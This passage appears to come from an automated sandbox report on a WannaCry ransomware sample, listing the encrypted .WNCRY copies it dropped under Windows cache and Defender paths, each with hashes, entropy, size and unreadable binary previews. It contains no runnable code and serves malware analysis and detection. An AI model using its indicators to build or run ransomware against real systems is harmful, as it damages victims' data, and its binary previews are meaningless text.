                                                                                                      Preview:WANACRY!........s"..?....D...b..2...K...L...]E.p......%....(...^...s..pf.\_....C.........:.Te...K._..D_/.L....-..,.<.uJ.0~G..I........ .i......\...;/./.D..R.%.b......f.l....X.-f.&.7.>K.n.[v.....9..#.L`..#.R<I.%...b.B..M.....`.......'F..4...\......QUW.....p.......J.7_..!*.`.|.J..7..bl..-d.1`S.4p^lN-92.....>...O..4.0}...........%"#..P...2?.......C....W...Q...v..S...^.\S.2.x...[b)C.7.Q..._G.....4?G.J.A.*...].$B.c...b........Cx$.$...z..p....]...we.].8q`..r.D...x.(..Q.......xn.R{..+....6.=`.<..Y~....m&Npz..+....B...).pp....7.#...H.4"...c....n..*.'..%...._..z...@8..v..F5.W.jA..PD....I9r..5..u..f..:..j.)gA..p..)>..'?6..........|.bK=-..A........S..h.^...$..../}T..q_...C0.M....\.:......W....d..P[.7<N...s..y..V.Ef......2Bv..t.S.....O.l.]..0k5..G..8fn_>...}.5...,>..N..j....8.B........;?V)18..L..Q......v..%r.......Ci.-.....-.....\....RX..G.mP.ScQ.,..x...E..Y....R6..P..8WXc xg.*.)........f......i|.uH..Snpa.os..~....P.D.a| .-M../...bxL.b^Y.ps.~..;...

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1670040
                                                                                                      Entropy (8bit):7.999892929470581
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:mVMiuC6KbEHIJV2PDkmfpeLlKxdOHBm+UKmV:mSA6Kb4IJV2rkac45+q
                                                                                                      MD5:AB764C40B21337AB5AFFAB04E723561B
                                                                                                      SHA1:7C6031FB04BD503A356ECB46781F6FC6C4C5298E
                                                                                                      SHA-256:7DD9DC2AA08812259CAB4C5578379EBFAD069EB128C85FC723F8B8EE4D4AEC13
                                                                                                      SHA-512:612A454E7AB7033D2678061B3F11E3FA9C28AD67E90CD4C6D52F5666ECE398C879E28C57777D87A32AAF50A55DE9B2C050792A05319A30BD1253EC0D55DFE39A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....&z4......F.....XTwO.:ag..|...6 /.x.=....V.....cho...n.g^!.5...C..*;H z..v...|.L.....Jj....lv...1k....#e:.qT^..ho...Z.j...8...B......sp......4. .%[".....vf9=j...F..9I4[..W.C../..QQ:JB..}...{.......W.~.#5...<L.B/Ibb.2.7=.%..D....X.g.....}.:.Q.......uz......aZ.....Q............q....iRL6|..NLb@8...o..U..?.....>5}.g..h|...h..1DA.D..g.O@..p...BhM]e.....M-?.JVs...X.o^B..Klf]{&.%....u.=^.3..m.F.. ...6.o*..u.#.}>....8{w..-.{{..e.]....|......H`..|.E"E....].y.....&U{....{E..+...Q.Zr....'....P.C.NK{..C$.bIH../.4.:!..kD...."...WxO..t.}.?.&o.K..D.uN.o..7.G.....G...+.].I?..By.......\\B..ly.......;$2...c.$M.."`...CJ.K8D...J:F.Kj.&.h,....Ze.:..1F/.h.\....H...#.'t..5Z.....X.....A9Ya..'k..J.'......3g|..k%..F.f.j]T.Q..%3.....A.tMJ..&.$&K&6.Y.....$..Y...+.M.!..@K.`W...lS..t...G....e.q.1%QR[._!!.Q.....L^V..@...=..W..mQG.=.......@;.7...}...".p..X.B.<.]....h..d.....0....=1s.....k.k.U_......dx5.......aN.Nk..3..RZS]|.f.+.7..|..R...g.A.s.XMT.....

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.864822841288095
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkA0SxCatc1IhGvyaFqxujpyj/te2uVpXbGephxrg8k0zPh+FCjdN4PPWceoHqc+:bkA0+PYKGvhAEyj1e2uVp1pTrg8k0FZB
                                                                                                      MD5:F86119AC7B492770CBDA6D512B3E40BB
                                                                                                      SHA1:5B1A11F3D0BE699B8A7F559EEA0EE422EFC951EF
                                                                                                      SHA-256:7A8A629747E3D865CB8028B53D3B13066811DFBDD6D475CF72B9C40EE823B162
                                                                                                      SHA-512:91D6EA8BD2A968C09C5CED51EE22A50AAB1A828FF3A87B857417F5977761198E39A0B98BDBF2FBC2AB25B0FC81E6BDED7A1F61B03FC800AB2456B197627DB636
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......3.C...~.?..\.YE..RX.(=..a.S.!.`b.4......j4zP...@Y.9......o.....Q..m...~}t......:.]W...'.wL..K...Q.......:..KN.J......*..s..8.l`./m.I[k.... i^.....D.w....bn...+.....c.n.'i...?=..VY.".S..".Px39.r...H?.P..=..J..x.%..Y..M...l..4..J/....K5:..{{;.............l.{/A!..=<..@.6.@.L<.vc..|k....6...X...E.O....C.....kw.cL^....d...>H0..0..<'..Y...<.r...$..d^yje.}..<{.KO+E..27.D...[B;.E8..0{.JA.....M......Q....=.B.....1C...d.$...........i.t[..HO}..F..R.E}&xw.$...<d........?...U#..jr..y.hkCP..ud.F.@f..b....^../u*B...w...[.......p..l._.(..........F+&...hC:.....K.=ye. H.2=9;.B...../.U.\$"N......!kd^..Q.;.....'0...T_.....s....jF..u.m.....P:.5/ ..K .P....!.#...$f.o*.V.X.\....D.?...zG*...:..R..(...JS.oAX......R...d..U..23.\.....<..Lv..m.JN..DMy....`u..C..F.'@......gL......@..T.....dN.tf....5D.0..$.....s.U..........^.".i ...[...p.i........2..:@...v.#..,..A.H>.S...B./@.X..x.>0.M{ 2......W.I..]D(.HC..."..QwaL..........J]^Ba.q.hg....6......y0

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.855506978388011
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkm+L2jNfjxyYUx6j1tFl6l7QFn651x+IlA4vd/r2okv1BF6BYxOf3/:bkzLIh1y41ZwQFn65zxp9SxvZpU3/
                                                                                                      MD5:AD08A2B7435AA901E757822B31CB24D7
                                                                                                      SHA1:C53AA599DE6ECBC3204C73010F4654F2C654B175
                                                                                                      SHA-256:D9C4569079E5448D92EAEF40E7AD7D6D23E0419811C052C1D399888BCEC9E7F9
                                                                                                      SHA-512:0CFAD0CBE51D247646851A357339E4128ECBF279D258416826A3E34340D2474FB19B62EEC0A792781AB7B1353E8E7140F708472A41384FC7D9FECAC9808AE9C8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....\.Z.XA.k%..+.t.$...{jP~i..Z..R..n..gu-...!.....gS..2...I.`......H.5.M..M.)%.c).yt .}.jC.d/....6.Uy.....$'...w$........H.?.dn.@Q.0z....s.He._o`...a@...Y...u.[...}.o...m.5`.1.q...2V..8.0.;.k....1.&\$|H..fKI.........wI..../.&Q?_.WG..De.<#.5f...................?3J..1......fm.P.....|. .5..m.L~.*y.,M....4..!u...x....#..2z.].^.A....2.;z=v T.......%..m...).7.\zcI.j...."....(...P..k.y...y}.BM..7.&l...51....#/n.-.....Ux.....6...b.....AN. ....2..s..X........Zg[dE.....TX.....u...-..PR....z.m.(.G...............M6.=.6F)....UO~.U....E.A.P/HK.p..r..f;.KD..l<R.Gz9r..zV.e.'MJ...KbKq.M....z... b.Av|(p*N.A...^.Bt*.H........./0...I.....,.ps..{..X..e..............2.r2....s.pi&..gl..$:1....q.b<e.nXD..o.I.r..+.7*.......e........*.CO.|g...U-.-*..+.C...aI.0,..T......A.+..y..........X....?.-......F..6q&c.!...`#..j-I.....6.wwPF..........NH......\+....`J.|.3i.s....F.Osd.z..#.6@[..8.c8..\....,...#....\.....uB[....)Q..n...d. Jw....(...|......i.[.".=]]..

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.849996297596796
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkywKekPXm2sLXpsBTjy4YdKAp9pqOLF7mj/rvZwp/H06P8syGLMUxH:bkyokuTXyBTmd3ArrOtU6HH
                                                                                                      MD5:DA88261DEEF1504C17B322BB22A32332
                                                                                                      SHA1:95E864444D8C3A15F6579CD183CA92C73C68BCC0
                                                                                                      SHA-256:460B34AAFA780829F7D3DB4DD21B193E7EF54E5F36F5DFA5D987D2F3905B3A28
                                                                                                      SHA-512:A552179F7BA0AEE0DC4416BD00BF1DE7D4FFDD383A512A28A82C9E75A79972608A33A7A07D2C19CD31E184360B861D543FFD59DE31659DF15C89D5D3818C647A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....P..4f.'B.<..0.L..3..Y.(..Z.......Z..e..'p....t$..-08H.UwS...q.Q...........J..y...xE..>.6...,p&b..6...r..7&%._6...!B_n....=zF5'....;\nD.Hx.G...~0....hM....1....Ke.....%....Q..I..].v9...GR....P2..]{.9~.....{..j.\...[..-.....l}&..\.].M.hBIk6..+..2.u*....(........Z..^.......^........M.D'.6..u..,E.wq..:P.\U.Tx.h.,.gG......S.x.A:..8..l2GX....(.;.8.Q..FS.g[v9......Y..M&^.B..td1.....q........3>..&.W...e=9..:.....Q}....Q$.)e..l"...m....k.]mo.:1....e~...Z.....'........V.mK......~..w@....l{...}?w.r.;..........h...]...6...xx...Y.$..sI...>'+._s.......5.. L.;.O....e_.e..~J.'~.=T.`.q?.W.H...a..]l.Owi[m..FPkK....kB..t....s......3n..r..#P...&.Q-X...k....e.JD....y...J.IZ...)|...l(.....M....7...>T*bf..V..I.....y...v.,.....&k4+!...x6S3...dO....C........Mq..?.)..#.&.......Sh.`,f.7Q.Z^.:(..9.... .t.W.NTL-M....}D.`.>.a...E.XuB..&.*..5".....au..-|......n..E..e........r<.A..D........1P..!.....6......5\.y.....9.........k.........t......H.....=.eT(.....

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.83683924696612
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk+Cp8LXS9q7CpGup1ThsbOPFVfXUm+ahzfzDF+JgcQEkOVsjMvtYzpSuqAg:bk+RLfCz1TT/dhAtjCeUpa
                                                                                                      MD5:F0B5C3E5FAAD071752ABC7D56B41FC5F
                                                                                                      SHA1:8139CD9F634606CA9A95590216C8807424F51EBB
                                                                                                      SHA-256:98B000B7B22CC37BE124568633B3033FE6218C2EAE0D123722842ED3F13C9CA8
                                                                                                      SHA-512:40F23D1ECDAE8299AD830C7950984B0B605A7D6D85258BD4194AD3E64C8022086ADC4B63AACA8ACC62F09AFC0685C57B55AD8BBA764EB2B1911BCEC801234993
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......+.........^........0.!.=...&.....&?.@7.d......l.......#.`......D.A..M..EV......E^.t..h+.d.c.......W.8...&.P!D$. 2.aQ...I.r.PT)...g.S.b......d..(..$.5.!.l..L.R....eA@02...)%J.j.df... ....-G.........$....]e..X6:.@.><.'.p68!..K&.{.....|zut..).....(.......m.8..RL.g...BV..m...L]..gh.n..L.rG@..p.Xzm..L............uF.^..Vlw.[..5...#i..Y*3..`..%..A.w..6...|..d....]..|b..c..j...O..d..n.-.Q...I..9.)...U.p...< p.9..J.....gH..|@.k.*.jPV..F..-...w......(=...=....[8H+..(...b.K........pxx.X.. )..l.Uj$....(....Ri..c....=.....p...{.F.#.3.j:M.h.r.`...f...P.i......S..D`.A.E...\..xKT.<.q..W....2.[.......B.-.AC.|...F<........M...N..gM.<.C..Ux@....].<.Bq>....{.....;.....A.e.DXF/..r=/..Zj.l.A.fe3eK$|<......sVN.g.......@........g3..1......0.tb....7..6nm.G.I....=.N...R..Hn....y....4@.n...U..SK....P..6.........)Wufd3.|D.vV-..W..8...}...M.%+I...h......".4....4C*. ...(...._..6..^P.o.. ...uT...}Q.H....].X..?.G...._.,....%.....}...b9B..6:T......l.}.gMi*

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):297144
                                                                                                      Entropy (8bit):7.999257246777688
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:B84v3BthCWe0q+mzqOFJkhtCcNdtmqDNmvcUjbES5FF:hb5POkhtCEnJDNGYG3
                                                                                                      MD5:D51CF3F7DD6574E492A82BB4219B9DBF
                                                                                                      SHA1:161D96E5C49FC45D87A06E18BCCE1EC7C09D8E48
                                                                                                      SHA-256:723BC6D9EA78EB12CA39B037FD5AF75EF2E427275EF6F5D69685E2C64BD8E1D9
                                                                                                      SHA-512:22940E051525712FD4B2B8C8185BD14441ED4CC6911C6DF33D8BB78C1E7DAC1580EB292742895BF535B36DAFF116A5D0F11480F5095E622668658DD008F47245
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........q6..jJ....e.K....vB.....uP..N...-[S..W.8}-...Y.{....E.$..q.K@*.2...g.i{...-...`...d....".=KS...5T.9.F1..y.7l.......m....,.P%p.vy.OJ.....il b.a.....@..g..8Gm.u..$..a...M..:@.=i............b=.pn.../C6.rn....Ky. k.'@...n..V..1D....(E{m.................3T...*..8.P..1...k.?....]/.O...=.v .%.bV..>....G....WY2.^.\d.n(.9c..B........q.`......~95..-.k!A............n.Lkx{.{_t....w..d......).3..G..FK......>E..u.....Ilx....^..c.....h......d.Cm.#...A:.D.nP.F...1.|<..kx.H..k-a.p...M.YR.*NZ.).B.R0..l....q.....E..........1^b.Aq.....g.3.5....o2iV...d.\(#.'..n...-9..Q.9...6.R.1...........m9.jm4..1n....&..']{....A.x..h$:M9\.'.gW...0.......,.vkZ.$.\F..........N%N..B.P@7.P....!...t.......3....".Bz....z...9.....+...x...@{.....Di...h.p..^.b,.c.M...)...A=...T..S....i.J?..N.cx.:.{FL.0B*...[..\...N:.0d.........p..&..YMg8..b.T.u..ick.rw....S..m.Z.......U..[^......Q.......D.;~o..qo<..j.l.P.5;1G...KC|....G..4.......m...<a.%\..8P=7.,K.r.

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):297144
                                                                                                      Entropy (8bit):7.999374966768788
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:qeHlSSYxBO2fQBQuNWik3z1sXSmbr+JE7he/P1pk1vCiFiSKd5ts3XPUcUjs:qClEkk3zDS+JE+9pXg9YYvJV
                                                                                                      MD5:F718E14F79C16CCD789550D68E24A8BE
                                                                                                      SHA1:5ACDFCE54884BDE85ECA3AD46E28FF4396388C49
                                                                                                      SHA-256:04DBABA1CF37C14A0660FC9563DA9EE664B74E5069E9D7E24AC1512EA5404AD2
                                                                                                      SHA-512:16008D8E7AA5799B81E722762E2E823896802FCE65E26DCA83A4DDEA8EFAF4ED1BCC0E9A754A48AB9DA13E104E3E41B2AB8AB3FB52E06F0E2437FB00D56459C4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....H.C 7...l.g.I...gU...7..^Q..l........J/.a'z.W!)....M.4q:....v&{.Dnx\..$3F....\.(.......N.OK.......`W.?3..N..a.Y..O.XF!......M..X.......s.s.e.i...%.R..7.9)1t..S.z.......)r..bT.H<.t.K..Z..&..*1.GZ..j.c.Ro#cI.....{b.8..I....$....q.d^..!....=.<s.s.A.............X..MZ.N.....=k.....":Y=....|K.A...2.........(..Nj.U.U.l.j.`......|.....o.i..V#...yR........Y.SsKh..}.>{.._.o.fO....R4.>.<;G...v.......c)=cS....6..d .D..)o99....n..0i.H..vbZ.\......O?.g.+....!..C.)4s..&..u.sYh..;.Y.P......&.......]...~.b...V.ay..O..U..3+..VR...3..m..$.m.p..2..\..f.h...f.s]..Fu^.3%X....n<.~.Eq...P...6..L\....(^.KhY+..{....&sq...wa...4T.f...^.4G....vc..<..SU.......w.....@.....(....g.....e.....v..3.h%@2....s..'E].K6...r0,O.........ymu..-p6y.].....Q..i../u..2p...<.-F..1.6.;'.3...!..L...ep.l....W.y..4.`b'9..F.:.e.a"Q..0v..l.5....I...~..9.u..Ye.os....^FE....)..8..|../C..].."...J..........L........F^.$..mj..T'..+!..G....b`Jy..Eo..b.l...Z&&......;...c..5......E..1.b.F..

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):297144
                                                                                                      Entropy (8bit):7.999386164100838
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:9kwR+DkQ/iMAPDeZLhHDPOK1IKhRYKyEYAOJPVblMHcKkAboqPCP:6wR+DkmiMAIHrOAFykOJ9KH/fbxg
                                                                                                      MD5:41C97D2817A9984534EFE3348A143617
                                                                                                      SHA1:45AB3E111B5B2F7342409038793775659D6CFDE4
                                                                                                      SHA-256:4D4A5B4964609643FD2DD12ADAC78C5E63E269CA44FDA00718B50F39EAB5B585
                                                                                                      SHA-512:438DA66CEA0C8CEBC83C4C502FF1D2CB523FBC7D4CA2D16CA4DD4BBD9B807C46BF3C79E841EE41ACB6984B3C984F349F30E89ED43191EFAB283331C67F7BF24A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....Ju...\...R.P..&.x....U<o|.{'V.z.....c.y..*....I....k.....p.PA.S.?+0....o...M(t.`A.C....c.._.u.F..z{..g.'.?.yZ..i.md...$o:D../Kw.Ov..a....U.Ly../.,..F)A.....b.....j....)$...`^A.ke.Ol..kf...`..4.ng.S...J.J_L.[.2..>..>:Qx.{X.....|.F&..S.H.b.v..Pf............F.C.e.....&...L.$...H.k.$e.O1.:F...30..>.L.dR.2..D_:r.;..Q....29.PD.=.+'.H\.....$[..W..`..\.....$....^7.~..E.s.E.....6..V......i...J...o&...~.?..J....Sbt...e.)@.;..=Ukq...r.*.F.p...0..r..7a....O/..../9p`E.6..d.,2]..@.S..e>..O....&..~...(.~..Q.&...?.,.#.4H7e.....f....W,,........M.h..X........4....5e..u.H&.m...A.........8.m.a..3...k.{k...);...*......6.3..k.....c._?..O9.f.U..S....tKwo`......7U()....k. .[.XZ..V.."yE..fq.X.'..(...7....i...?P.....l~......Tt.$...C>..N..h..3.l...ybo.3..C9..G_.....6..t].[.r..R:-....9......Z...\.....n.6".1...F,.[......._...`.n.......X..o...1,............IN...iE3e...~..%..H.>hT(.....}=7.R....GG?.1N..+..#..M.G....D.w>......E.A...0.........X...+.Uj...l!.....

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.871537816292167
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkqtsSKJATlIactysOyOiixqAqXySuhLGiTPN8SZS8IVH/YMqwB9:bkzSsATOQ5ynixqA6ySuhaC6X8iH/YMj
                                                                                                      MD5:3AFDEBE7363E146B572F385A1B0C3DC8
                                                                                                      SHA1:BB6CECFE106598281CCD510D5278D50D1E6D5407
                                                                                                      SHA-256:391A272AFFF9309EF31F2408E06667424082504D4E121F38524E70E536DB7A82
                                                                                                      SHA-512:18AF2DEA270032DD70D71A13DB34C4DDBC3EDAD78C45697189F55882D87D60E5B57CC93368B2F00ACD39DF60AB81D0AE44191DDD8DC0CAC71069E296BA48F2B7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....)w.Mk.S.....~...~.%.\.........#.,........_....o..FN...]...mn.j........:.z;a.k....#....g)..d.......p.....(.,.I.......Z.X.c..68i&cY.......^.....N:..<...7g].....P...<f.Zg..Z~..:.p...q.g{P..0~.7:.v.y...|..q>j.o..G,..S...8,~k&.;.R.9=.._|....\..C ~....(........9.-.$^.2Y.X.L.Qlx1..."....D..?....'..f.>.S.H...@...^.E.+.....>.P...g...L.=.1\..w..0'..o'..{.-..yf<:.$.h.zyiR.F..2P.t.=>...;..Gd~d.)3..1KQ....k.b7fKE.-.A.Xd...)zi3-F.c.v.t.l..'HR.....T*..|9.G../kA.1XsI.{.u........%..&.r...r..*?...r.w.+.%;D...Si3..|..mJ.3...p2..h..>..6f.(X..o...X(...7..p9.l.q=P."u.{2c4r.....#y.R.....L..r...s.....sn..m~...QD.M.C.L{...m...<.&aXo..Da1J1.h..n.....1P....,.M...f...>...i...m...\......w2.M.5.[A.............|...tI...Y.va....~.h..?p.+.oU...Y...F5};.E..........".O.5..Q.|]=\6"...`... .9..!V].....*...`....W.}....8.Q.}....3..$........Bf.:.G|`.m.^..H..+.Hd..F.RQm.R.z..0.3........3...>.j....(^..bWJ......|.-.j.oe.iT.>%.P.Z9.....-t-...-..F....hhKO.\d..%....3.U

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.8444208704324865
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk9S3rUxtV6/jJntkhmxEq04qdV4qVaevaUZw5EbwwLaLn/CiGFZGe+h:bk9SQzV67JCmxKVXVc4wJwL+0GBh
                                                                                                      MD5:A4BCAAC8834BE208C3ACF48FE091E1BD
                                                                                                      SHA1:A53EDC2DD8DAC883C66F88899A7272DB3F011B26
                                                                                                      SHA-256:531F78254DA73CA59BF64971AB7370D29EB9246874B3112F7299F1E8F1BCD8D1
                                                                                                      SHA-512:12B0BA149D06E77FB78DC1786202BFDD48BE258B7C278A169BB81559CC49FF154310034655B2F4D177328BB3159E62B31D08904C11BE111991D2AC2B1AA2EAC1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....i..F......A.....K$.M.2......7.....+.|2....P.>..]._..l..m...1.eq..Iq.=.0X.......q..U.L.3y33. .=V{...2.Krp.7y4%.B.".W..........c.}.^..5[.....~..2.Zj..........3q.I.e...!+@..n"...&.,./.....s.q...M...../..+..(*.0P.?...8`.ac. .5$...&.....-..(.>..0.:.gM......(..........2.q....\.Z.....S..w;..7....o.sG... ..G..bjJ.2...].......G`..bt.,W...xL.....9d7v........?.D`2..J.1.....=..>...*...Tj.z.iv..C....DRT6.?.2..4c^....".}.f....y4.U...C.D..3.....P.]7..\.s5"......#.OI./..o.>.S./.\.d`CA...O...'m..%@.9.1.....$.........>......i...o.... {.au.dp...d..)..../)Yo....*~....3..!...d..P..r{3k.y.0..cJ..=...y.f...z:..p....x..N.5...72.I..d........*=.Fxk.\.E...k.......t.\.+m.j..n...f.........:Di1"...`....1l..W....5+%T.+...,..a ........q*.([g.....D.x.,m...L....!0g...5.E.*..(...4@k.aYh..J.r<K....?...T.K#....\.m..wg.}...x3.^.....L....."..Ak....oz.<...........y....C.6....)d"...|..N.GR...29V.8..o.k....8[.....Y;.r.IN.G/.P6.j.D....i:K9.Zx.c.4....d.2..x.._@....7W..

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.861175423374499
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4OdxaQp5wnUth7uAWwIPakP+pJw/Q2I2drJCyPSJfv/CVvaX+PVWmS4QFoaCoK:bk9dxnPHWwIiRJw82BZ6lvaGl4QFoaC9
                                                                                                      MD5:A57205A7D93B12FA3A7822A83EB7341E
                                                                                                      SHA1:7C2D0B324F6D208D1C5D1EE08E25169071BFBB29
                                                                                                      SHA-256:9CD80B0D7BA655DCB9C31E91DA66264421FBA6D0D18EF344AAD06B9D929A19DF
                                                                                                      SHA-512:CE647008DE23D12AC5BE8969825BC92B7457E6E54E43E55292151432608501FC08FDCA0C7825C181E95B767153EDC081E6E3A0409925844F3D848FE9A9006C4E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....I.....E...^.l..O....>.6...VB..i#...W[.:.:.....O6.q-."P..P.U...;......^Wf.m...].G(..&.#.....D\......A? G...pw.S.......xaO......`\..\.0X..G.K.O..G!...i...B.".%..@f.........B._....7s....^..._gW..W.z....\....8.}}.....1"...ym.wpE8.Z................-g............C..pl.'..5.V.....].n......%].O..o........b8I-z...6..;.}.2........<]..s^)..m.h....s..k<..>8.1..........c....H..S.....&o..K...VU.........._..?.....*.............erN...=k..lq..pS.w..{...3gK.g:!P...&.}.c....AVA..b..|{Z,.T<K.b...aX.Xro....+.....\.m...~DhCg....][Q8.....[.N...../Wp.Yi...w.}3...L...;.uN.......#....dU...f\/7dC..`..2gb.&.g..<.V._.. ..#..iU....cL.L]...Jq..q.......f('J)..N....Z....a..Q...D..........o.u.n...a...e......8.<.......d.Q...s...gA..@..g.9...U.a.3..!....:.r.".T.Qa..w.u.WXWV...&;.@.4Xk.........V+...("BM..x../...wB.Ii&;....4........B.....v9xe...#..E.i.is.2....0.4H.........I..a.=.8.8...x.ppPbw.-.+.J.."vf."9]..$C......^.?;m..P..?0.P...I....s.T...f<..^vzv.:a....`#:

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.855387040293449
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkOCvrG3Fh7Lz5rvInPbH9VpwsF80XaAp7M2mV/TpY2qd/q9fl65AACbnYlFypb9:bkvva3Fh/unPbdP+0X1pWVtVS/154bnX
                                                                                                      MD5:4BDD1902142163BE5782CC9EA4CD880F
                                                                                                      SHA1:07E78DA4ECCEB767B8AA9D2716CD4C8FEE0CDEF7
                                                                                                      SHA-256:C3AB655CDE1C83A85D08DC38D2A8E7473F9A2DD92A50D0FD1F703BFC08924846
                                                                                                      SHA-512:13DC2627D3839EB6433946CFF6F96F2205209E00F8F5BE29D3495CEC848566F8C85D2E7C8E8C293F97EC1E1BEA4143ABAEA6D44CAE12C77D3E6AB4613DA21CD5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
